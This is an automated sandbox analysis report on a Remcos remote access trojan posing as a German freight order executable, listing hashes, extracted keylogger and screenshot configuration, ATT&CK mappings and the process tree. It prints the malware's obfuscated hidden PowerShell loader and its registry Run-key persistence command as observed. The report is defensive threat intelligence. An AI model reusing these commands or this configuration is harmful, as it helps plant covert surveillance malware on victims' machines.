remcos | 0a53c3881a3fa2a2219dacf69df133a66250063ffee9cc35bfe1e56759286682

Analysis

max time kernel
154s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
22-04-2024 17:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FINAL CMR.-Transportauftrag Nachlauf new.exe
Size

1004KB
MD5

65776d668bf11116dd97b54c1c280fd5
SHA1

512cb011ee03041f66456e052a39a4062113f6a7
SHA256

0a53c3881a3fa2a2219dacf69df133a66250063ffee9cc35bfe1e56759286682
SHA512

5e1e771596ed2f8e3737db2c349b45924def9ee0ba84865017abb2a4e1c3569f98c5526ed2781ee8361f1a7d0da2fa8c30cc4e757bb0b2519d542c06c830977c
SSDEEP

24576:8IGB3Fr2WJfxpzXTuvMJbmhQU/YydIE5Ltp:ExZjuvMxmhB/Ylyp

Score

10^/10

remcos top persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Top

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
mqerms.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
alpwovnb-G3F5OR
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Springdansens = "%Alkoholikers% -windowstyle minimized $Synder=(Get-ItemProperty -Path 'HKCU:\\Fiskestimens\\').Technicological;%Alkoholikers% ($Synder)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

3988 wab.exe
3988 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

4092 powershell.exe
3988 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4092 set thread context of 3988 4092 powershell.exe wab.exe
Drops file in Program Files directory 1 IoCs

Processes:

FINAL CMR.-Transportauftrag Nachlauf new.exe

description ioc process

File opened for modification C:\Program Files (x86)\Common Files\Levantine.ini FINAL CMR.-Transportauftrag Nachlauf new.exe

pid	process
3988	wab.exe
3988	wab.exe

description	pid	process	target process
PID 4092 set thread context of 3988	4092	powershell.exe	wab.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\Levantine.ini	FINAL CMR.-Transportauftrag Nachlauf new.exe

Drops file in Windows directory 2 IoCs

Processes:

FINAL CMR.-Transportauftrag Nachlauf new.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\tashlik.ini	FINAL CMR.-Transportauftrag Nachlauf new.exe
File opened for modification	C:\Windows\resources\0409\marmoreret.ini	FINAL CMR.-Transportauftrag Nachlauf new.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

612 reg.exe

pid	process
612	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe

pid	process
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

4092 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4092 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

3988 wab.exe

description	pid	process
Token: SeDebugPrivilege	4092	powershell.exe

pid	process
3988	wab.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

FINAL CMR.-Transportauftrag Nachlauf new.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1596 wrote to memory of 4092	1596	FINAL CMR.-Transportauftrag Nachlauf new.exe	powershell.exe
PID 1596 wrote to memory of 4092	1596	FINAL CMR.-Transportauftrag Nachlauf new.exe	powershell.exe
PID 1596 wrote to memory of 4092	1596	FINAL CMR.-Transportauftrag Nachlauf new.exe	powershell.exe
PID 4092 wrote to memory of 4556	4092	powershell.exe	cmd.exe
PID 4092 wrote to memory of 4556	4092	powershell.exe	cmd.exe
PID 4092 wrote to memory of 4556	4092	powershell.exe	cmd.exe
PID 4092 wrote to memory of 3988	4092	powershell.exe	wab.exe
PID 4092 wrote to memory of 3988	4092	powershell.exe	wab.exe
PID 4092 wrote to memory of 3988	4092	powershell.exe	wab.exe
PID 4092 wrote to memory of 3988	4092	powershell.exe	wab.exe
PID 4092 wrote to memory of 3988	4092	powershell.exe	wab.exe
PID 3988 wrote to memory of 3976	3988	wab.exe	cmd.exe
PID 3988 wrote to memory of 3976	3988	wab.exe	cmd.exe
PID 3988 wrote to memory of 3976	3988	wab.exe	cmd.exe
PID 3976 wrote to memory of 612	3976	cmd.exe	reg.exe
PID 3976 wrote to memory of 612	3976	cmd.exe	reg.exe
PID 3976 wrote to memory of 612	3976	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\FINAL CMR.-Transportauftrag Nachlauf new.exe
"C:\Users\Admin\AppData\Local\Temp\FINAL CMR.-Transportauftrag Nachlauf new.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1596

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Brnelrdoms=Get-Content 'C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Wambliness\Apollinarisernes\Tailet.Unm';$Bonniks=$Brnelrdoms.SubString(58319,3);.$Bonniks($Brnelrdoms)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
3⤵
PID:4556

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3988

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Springdansens" /t REG_EXPAND_SZ /d "%Alkoholikers% -windowstyle minimized $Synder=(Get-ItemProperty -Path 'HKCU:\Fiskestimens\').Technicological;%Alkoholikers% ($Synder)"
4⤵
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Springdansens" /t REG_EXPAND_SZ /d "%Alkoholikers% -windowstyle minimized $Synder=(Get-ItemProperty -Path 'HKCU:\Fiskestimens\').Technicological;%Alkoholikers% ($Synder)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4068 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:8
1⤵
PID:1108

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nu1txel1.vq4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Udviklingsvrktjs\Zlotys.Fis153
Filesize
329KB

MD5
d4cb045d99b472d8cf410a78ff1da970

SHA1
9546bb31af2b5e823117f637f6e8b8ed62cd3673

SHA256
4472f9a6c3f97915bc78e8bbfbe99be4c64c311a5ead56ce1a20e442971f6ac5

SHA512
7bef954e8182532cb2ecde6a351456a46e7018d1c13b1f43ec421dfb834727303f8fbd5672a7901c1f59c128c427b34f9c45d8a66a215119293831d751568381

Download Submit
C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Wambliness\Apollinarisernes\Tailet.Unm
Filesize
56KB

MD5
f2e779561795736d366beb06fa554a27

SHA1
b94323b998671cda6aeb112ee4638ac059e17c46

SHA256
e4ae0ff3adcacc0924c58ce16e8deab2a9968d789fac2cbbbba9d9f6a6e72531

SHA512
4d8c925137983c61d3bc6c454b32a0d75eb050437353d4ce6acbed9feff131add0906007669e9c50289b9ac66d9927ce9c45776180791b79ee3386ebc87f5dc9

Download Submit
memory/3988-83-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-85-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-102-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-101-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-100-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-99-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-98-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-62-0x0000000002060000-0x0000000007FAD000-memory.dmp

Filesize
95.3MB

Download
memory/3988-97-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-96-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-95-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-94-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-93-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-66-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-92-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-91-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-90-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-68-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-89-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-88-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-86-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-74-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-84-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-82-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-79-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-51-0x0000000076FD8000-0x0000000076FD9000-memory.dmp

Filesize
4KB

Download
memory/3988-52-0x0000000076F51000-0x0000000077071000-memory.dmp

Filesize
1.1MB

Download
memory/3988-59-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-60-0x0000000076F51000-0x0000000077071000-memory.dmp

Filesize
1.1MB

Download
memory/3988-63-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-64-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-65-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-78-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-77-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-76-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-75-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-69-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-70-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-71-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-72-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/3988-73-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download
memory/4092-41-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-67-0x0000000074550000-0x0000000074D00000-memory.dmp

Filesize
7.7MB

Download
memory/4092-15-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-38-0x0000000007420000-0x00000000079C4000-memory.dmp

Filesize
5.6MB

Download
memory/4092-32-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/4092-50-0x0000000076F51000-0x0000000077071000-memory.dmp

Filesize
1.1MB

Download
memory/4092-49-0x00000000086D0000-0x000000000E61D000-memory.dmp

Filesize
95.3MB

Download
memory/4092-14-0x0000000074550000-0x0000000074D00000-memory.dmp

Filesize
7.7MB

Download
memory/4092-48-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-47-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-45-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-44-0x0000000074550000-0x0000000074D00000-memory.dmp

Filesize
7.7MB

Download
memory/4092-43-0x0000000007130000-0x0000000007134000-memory.dmp

Filesize
16KB

Download
memory/4092-18-0x0000000004CE0000-0x0000000005308000-memory.dmp

Filesize
6.2MB

Download
memory/4092-40-0x0000000008050000-0x00000000086CA000-memory.dmp

Filesize
6.5MB

Download
memory/4092-16-0x0000000004670000-0x00000000046A6000-memory.dmp

Filesize
216KB

Download
memory/4092-37-0x00000000061A0000-0x00000000061C2000-memory.dmp

Filesize
136KB

Download
memory/4092-36-0x0000000006150000-0x000000000616A000-memory.dmp

Filesize
104KB

Download
memory/4092-35-0x0000000006DD0000-0x0000000006E66000-memory.dmp

Filesize
600KB

Download
memory/4092-34-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-33-0x0000000005C90000-0x0000000005CDC000-memory.dmp

Filesize
304KB

Download
memory/4092-31-0x0000000005620000-0x0000000005974000-memory.dmp

Filesize
3.3MB

Download
memory/4092-17-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/4092-21-0x00000000055B0000-0x0000000005616000-memory.dmp

Filesize
408KB

Download
memory/4092-20-0x0000000005540000-0x00000000055A6000-memory.dmp

Filesize
408KB

Download
memory/4092-19-0x0000000004C40000-0x0000000004C62000-memory.dmp

Filesize
136KB

Download